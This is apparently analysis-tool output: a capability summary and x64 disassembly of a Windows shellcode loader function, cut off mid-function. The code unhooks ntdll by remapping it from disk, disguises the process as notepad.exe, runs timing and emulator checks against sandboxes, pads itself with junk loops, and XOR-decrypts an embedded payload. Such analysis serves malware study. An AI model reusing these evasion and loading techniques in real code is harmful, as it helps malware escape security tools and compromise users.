Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x908
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x870], xmm6
mov dword [rbp + 0x8b0], ecx
mov qword [rbp + 0x8b8], rdx
call fcn.140002d00
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7f0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7e8], rax
mov dword [rbp + 0x86c], 0
jmp 0x140001537
call sub.msvcrt.dll_rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x78787879
shr rax, 0x20
sar eax, 3
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov dword [rbp + 0x644], eax
mov ecx, dword [rbp + 0x644]
mov eax, ecx
shl eax, 4
add eax, ecx
sub edx, eax
mov dword [rbp + 0x644], edx
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006628]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x644]
movq xmm0, rax
call fcn.140003df0
movq rax, xmm0
mov qword [rbp + 0x638], rax
add dword [rbp + 0x86c], 1
cmp dword [rbp + 0x86c], 0xe7
jle 0x1400014bc
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7e0], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x860], rax
cmp qword [rbp + 0x860], 0
jne 0x140001687
mov dword [rbp + 0x85c], 0xffffffff
pxor xmm0, xmm0
movsd qword [rbp + 0x850], xmm0
add dword [rbp + 0x85c], 1
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x85c]
movsd xmm0, qword [0x140006630]
addsd xmm0, xmm1
mov rax, qword [0x140006638]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003f60
movq rax, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x85c]
addsd xmm0, xmm0
movsd xmm2, qword [0x140006630]
movupd xmm1, xmm0
subsd xmm1, xmm2
movq xmm0, rax
divsd xmm0, xmm1
movsd xmm1, qword [rbp + 0x850]
addsd xmm0, xmm1
movsd qword [rbp + 0x850], xmm0
cmp dword [rbp + 0x85c], 0x2a1
jle 0x1400015b5
movsd xmm1, qword [rbp + 0x850]
movsd xmm0, qword [0x140006640]
mulsd xmm0, xmm1
movsd qword [rbp + 0x850], xmm0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x860], rax
mov ecx, 0x210
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7d8], rax
mov dword [rbp + 0x84c], 0
jmp 0x1400016f1
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x84c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x7d8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x84c], 1
cmp dword [rbp + 0x84c], 0x83
jle 0x1400016a4
mov dword [rbp + 0x84c], 0
jmp 0x1400017e1
cmp dword [rbp + 0x84c], 0
je 0x140001751
mov eax, dword [rbp + 0x84c]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x7d8]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x84c]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x7d8]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jg 0x14000175d
add dword [rbp + 0x84c], 1
jmp 0x1400017e1
mov eax, dword [rbp + 0x84c]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x7d8]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x648], eax
mov eax, dword [rbp + 0x84c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7d8]
add rax, rdx
mov edx, dword [rbp + 0x84c]
movsxd rdx, edx
shl rdx, 2
lea rcx, [rdx - 4]
mov rdx, qword [rbp + 0x7d8]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x84c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7d8]
add rdx, rax
mov eax, dword [rbp + 0x648]
mov dword [rdx], eax
sub dword [rbp + 0x84c], 1
cmp dword [rbp + 0x84c], 0x83
jle 0x14000170c
mov rax, qword [rbp + 0x7d8]
mov rcx, rax
call sub.msvcrt.dll_free
cmp qword [rbp + 0x860], 0
je 0x140001b94
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x620]
mov rax, qword [rbp + 0x7e0]
mov r10, qword [rbp + 0x860]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x620]
mov qword [rbp + 0x7d0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x7c8], rax
mov rax, qword [rbp + 0x7c8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x7c0], rax
mov rax, qword [rbp + 0x7c0]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x7b8], rax
mov rax, qword [rbp + 0x7d0]
mov qword [rbp + 0x7b0], rax
mov rax, qword [rbp + 0x7b0]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x7d0]
add rax, rdx
mov qword [rbp + 0x7a8], rax
mov word [rbp + 0x84a], 0
jmp 0x140001b7c
mov rax, qword [rbp + 0x7a8]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x7a8]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x84a]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x7a0], rax
mov dword [rbp + 0x79c], 1
mov ecx, 0x6a4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x790], rax
mov qword [rbp + 0x840], 2
jmp 0x1400019c5
mov rax, qword [rbp + 0x840]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x790]
add rax, rdx
mov dword [rax], 1
add qword [rbp + 0x840], 1
cmp qword [rbp + 0x840], 0x1a8
jbe 0x14000199e
mov qword [rbp + 0x840], 2
jmp 0x140001a5c
mov rax, qword [rbp + 0x840]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x790]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140001a54
mov rax, qword [rbp + 0x840]
mov qword [rbp + 0x838], rax
jmp 0x140001a3d
mov rax, qword [rbp + 0x840]
imul rax, qword [rbp + 0x838]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x790]
add rax, rdx
mov dword [rax], 0
add qword [rbp + 0x838], 1
mov rax, qword [rbp + 0x840]
imul rax, qword [rbp + 0x838]
cmp rax, 0x1a8
jbe 0x140001a0e
add qword [rbp + 0x840], 1
cmp qword [rbp + 0x840], 0x1a8
jbe 0x1400019df
mov rax, qword [rbp + 0x790]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7a0]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001b6b
mov dword [rbp + 0x5e8], 0
mov rax, qword [rbp + 0x7a0]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x7a0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7d0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5e8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x7a0]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x7a0]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x7b8]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x7a0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7d0]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x5e8]
mov rax, qword [rbp + 0x7a0]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x7a0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7d0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5e8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x84a]
add eax, 1
mov word [rbp + 0x84a], ax
mov rax, qword [rbp + 0x7a8]
movzx eax, word [rax + 6]
cmp word [rbp + 0x84a], ax
jb 0x14000193a
mov ecx, 0xcf4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x788], rax
mov ecx, 0xcf4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x780], rax
mov ecx, 0xcf4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x778], rax
mov ecx, 0xcf4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x770], rax
mov dword [rbp + 0x830], 0x33c
mov dword [rbp + 0x834], 0
jmp 0x140001c84
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x834]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x788]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x834]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x780]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x834], 1
cmp dword [rbp + 0x834], 0x33c
jle 0x140001bf1
mov dword [rbp + 0x834], 0
jmp 0x140001d23
mov eax, dword [rbp + 0x830]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x788]
add rax, rdx
mov edx, dword [rbp + 0x834]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x778]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x830]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x780]
add rax, rdx
mov edx, dword [rbp + 0x834]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x770]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x830], 1
add dword [rbp + 0x834], 1
cmp dword [rbp + 0x834], 0x33c
jle 0x140001ca3
mov rax, qword [rbp + 0x788]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x780]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x778]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x770]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x5ec], 0
mov rax, qword [rbp + 0x7f0]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x768], rax
mov ecx, 0x6fc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x760], rax
mov dword [rbp + 0x82c], 0
jmp 0x140001e04
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x82c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x760]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x82c], 1
cmp dword [rbp + 0x82c], 0x1be
jle 0x140001db7
mov dword [rbp + 0x82c], 0
jmp 0x140001ef4
cmp dword [rbp + 0x82c], 0
je 0x140001e64
mov eax, dword [rbp + 0x82c]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x760]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x82c]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x760]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jg 0x140001e70
add dword [rbp + 0x82c], 1
jmp 0x140001ef4
mov eax, dword [rbp + 0x82c]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x760]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x64c], eax
mov eax, dword [rbp + 0x82c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x760]
add rax, rdx
mov edx, dword [rbp + 0x82c]
movsxd rdx, edx
shl rdx, 2
lea rcx, [rdx - 4]
mov rdx, qword [rbp + 0x760]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x82c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x760]
add rdx, rax
mov eax, dword [rbp + 0x64c]
mov dword [rdx], eax
sub dword [rbp + 0x82c], 1
cmp dword [rbp + 0x82c], 0x1be
jle 0x140001e1f
mov rax, qword [rbp + 0x760]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5f0]
lea rax, [rbp + 0x5ec]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x768]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x5f8]
add rax, 0x3c
mov qword [rbp + 0x758], rax
mov rax, qword [rbp + 0x758]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
pxor xmm0, xmm0
movss dword [rbp + 0x824], xmm0
mov dword [rbp + 0x828], 0
jmp 0x140001ffe
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x828]
movsd xmm0, qword [0x140006630]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movups xmm1, xmm0
mov eax, dword [0x140006648]
movd xmm0, eax
call fcn.140003cf0
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x828]
addsd xmm0, xmm0
movsd xmm2, qword [0x140006630]
subsd xmm0, xmm2
divsd xmm1, xmm0
pxor xmm0, xmm0
cvtss2sd xmm0, dword [rbp + 0x824]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x824], xmm0
add dword [rbp + 0x828], 1
cmp dword [rbp + 0x828], 0x371
jle 0x140001f85
movss xmm1, dword [rbp + 0x824]
movss xmm0, dword [0x14000664c]
mulss xmm0, xmm1
movss dword [rbp + 0x824], xmm0
mov rax, qword [rbp + 0x758]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x750], rax
mov rax, qword [rbp + 0x750]
mov ecx, 0
call rax
mov dword [rbp + 0x74c], eax
cmp dword [rbp + 0x74c], 0xffffffff
je 0x140002c32
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x740], rax
cmp qword [rbp + 0x740], 0
je 0x140002c32
mov rax, qword [rbp + 0x740]
mov edx, 0x570
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x73c], eax
mov ecx, 0x47e
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x47e
jne 0x140002c32
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov qword [rbp + 0x730], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x728], rax
mov rax, qword [rbp + 0x728]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x3c2ca80
mov ecx, 0
call rax
mov qword [rbp + 0x730], rax
cmp qword [rbp + 0x730], 0
je 0x140002c32
mov rax, qword [rbp + 0x730]
mov edx, 0x3c2ca80
mov rcx, rax
call fcn.140004af0
mov rax, qword [rbp + 0x730]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rax, str.xrtxdxknocub.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x720], rax
cmp qword [rbp + 0x720], 0
jne 0x140002c32
mov dword [rbp + 0x71c], 0x272
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x710], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x708], rax
mov rax, qword [rbp + 0x708]
call rax
mov dword [rbp + 0x704], eax
mov eax, dword [rbp + 0x71c]
mov r8, qword [rbp + 0x710]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x708]
call rax
mov dword [rbp + 0x700], eax
mov eax, dword [rbp + 0x700]
sub eax, dword [rbp + 0x704]
cmp eax, 0x240
jbe 0x140002c32
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f8], rax
mov rax, qword [rbp + 0x6f8]
mov ecx, 0
call rax
mov dword [rbp + 0x6f4], eax
cmp dword [rbp + 0x6f4], 0xffffffff
je 0x140002c32
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e8], rax
mov rax, qword [rbp + 0x6e8]
call rax
mov dword [rbp + 0x6e4], eax
mov ecx, 0x21c
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x6e8]
call rax
mov dword [rbp + 0x6e0], eax
mov eax, dword [rbp + 0x6e0]
sub eax, dword [rbp + 0x6e4]
cmp eax, 0x1ea
jbe 0x140002c32
mov dword [rbp + 0x6dc], 0x3d9
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d0], rax
mov rax, qword [rbp + 0x6d0]
call rax
mov dword [rbp + 0x6cc], eax
mov eax, dword [rbp + 0x6dc]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x6d0]
call rax
mov dword [rbp + 0x6c8], eax
mov eax, dword [rbp + 0x6c8]
sub eax, dword [rbp + 0x6cc]
cmp eax, 0x3a7
jbe 0x140002c32
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6c0], rax
cmp qword [rbp + 0x6c0], 0
je 0x140002435
mov rax, qword [rbp + 0x6c0]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b8], rax
mov rax, qword [rbp + 0x6b8]
mov ecx, 0
call rax
mov dword [rbp + 0x820], eax
cmp dword [rbp + 0x820], 0xffffffff
je 0x140002c32
lea rax, [rbp + 0xe0]
lea rdx, [0x140006128]
mov ecx, 0x9f
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, byte [rdx]
mov byte [rax], cl
mov rax, qword [rbp + 0x7e8]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b0], rax
mov rax, qword [rbp + 0x7e8]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x6b0]
mov r8d, 0
mov edx, 0x4f8
mov ecx, 0x40000
call rax
mov qword [rbp + 0x6a0], rax
mov dword [rbp + 0x81c], 0xffffffff
pxor xmm0, xmm0
movsd qword [rbp + 0x810], xmm0
add dword [rbp + 0x81c], 1
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x81c]
movsd xmm0, qword [0x140006630]
addsd xmm0, xmm1
mov rax, qword [0x140006638]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003f60
movq rax, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x81c]
addsd xmm0, xmm0
movsd xmm2, qword [0x140006630]
movupd xmm1, xmm0
subsd xmm1, xmm2
movq xmm0, rax
divsd xmm0, xmm1
movsd xmm1, qword [rbp + 0x810]
addsd xmm0, xmm1
movsd qword [rbp + 0x810], xmm0
cmp dword [rbp + 0x81c], 0x11b
jle 0x1400024e1
movsd xmm1, qword [rbp + 0x810]
movsd xmm0, qword [0x140006640]
mulsd xmm0, xmm1
movsd qword [rbp + 0x810], xmm0
mov rax, qword [rbp + 0x6a0]
mov r9, qword [rbp + 0x6a8]
mov r8d, 0x4f8
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x698], rax
mov rax, qword [rbp + 0x7f0]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x690], rax
lea rdx, [rbp + 0xe0]
mov rax, qword [rbp + 0x698]
mov r9, qword [rbp + 0x690]
mov r8d, 0x4f8
mov rcx, rax
call r9
mov dword [rbp + 0x80c], 0
mov dword [rbp + 0x808], 0
mov dword [rbp + 0x804], 0
movabs rax, 0xd693f4c94b027cab
movabs rdx, 0xd4326be62b0d5d97
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x9238fba77373306a
movabs rdx, 0xb1470913ce54825
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x3964861cc4974465
movabs rdx, 0xa5b89d34c9d1d06f
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0xfc2bfccd25768bbd
movabs rdx, 0xe2d54975767d90e6
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0xa1e7bd220101a257
movabs rdx, 0xdbc2a36d9a396eb6
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0xbb03024e1ddbc2
mov qword [rbp + 0xce], rax
mov ecx, 0x1b18
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x688], rax
mov ecx, 0x1b18
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x680], rax
mov dword [rbp + 0x800], 0
jmp 0x14000277f
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x800]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x688]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x800], 1
cmp dword [rbp + 0x800], 0x362
jle 0x1400026f5
mov dword [rbp + 0x800], 0
jmp 0x1400027ed
mov eax, dword [rbp + 0x800]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x688]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x800]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x680]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003d10
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x800], 1
cmp dword [rbp + 0x800], 0x362
jle 0x14000279b
movabs rax, 0x7481810c7e4c0ec8
movabs rdx, 0x83803e723982b7ad
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0x3be9aa7835abec3
movabs rdx, 0xb7dce1606976bd8b
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0x1f2b388f99e150e4
movabs rdx, 0x3da96dddcddd75e0
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0xc3cc54696b10c5bb
movabs rdx, 0xb74006499427a0c3
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x6db05fdbb21d0c93
movabs rdx, 0x891b4801ab8289d2
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
mov word [rbp + 0x70], 0x84
jmp 0x1400028db
mov eax, dword [rbp + 0x80c]
cdqe
movzx edx, byte [rbp + rax + 0x20]
mov eax, dword [rbp + 0x808]
cdqe
movzx eax, byte [rbp + rax + 0x80]
xor edx, eax
mov eax, dword [rbp + 0x80c]
cdqe
mov byte [rbp + rax - 0x40], dl
cmp dword [rbp + 0x808], 0x54
jne 0x1400028cd
mov dword [rbp + 0x808], 0
jmp 0x1400028d4
add dword [rbp + 0x808], 1
add dword [rbp + 0x80c], 1
mov eax, dword [rbp + 0x80c]
cmp eax, 0x50
jbe 0x14000288d
mov dword [rbp + 0x80c], 0
jmp 0x140002b99
mov eax, dword [rbp + 0x80c]
movsxd rdx, eax
mov rax, qword [rbp + 0x698]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x804]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x80c]
movsxd rdx, eax
mov rax, qword [rbp + 0x698]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov ecx, 0x303c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x660], rax
mov ecx, 0x303c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x658], rax
mov ecx, 0x303c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x650], rax
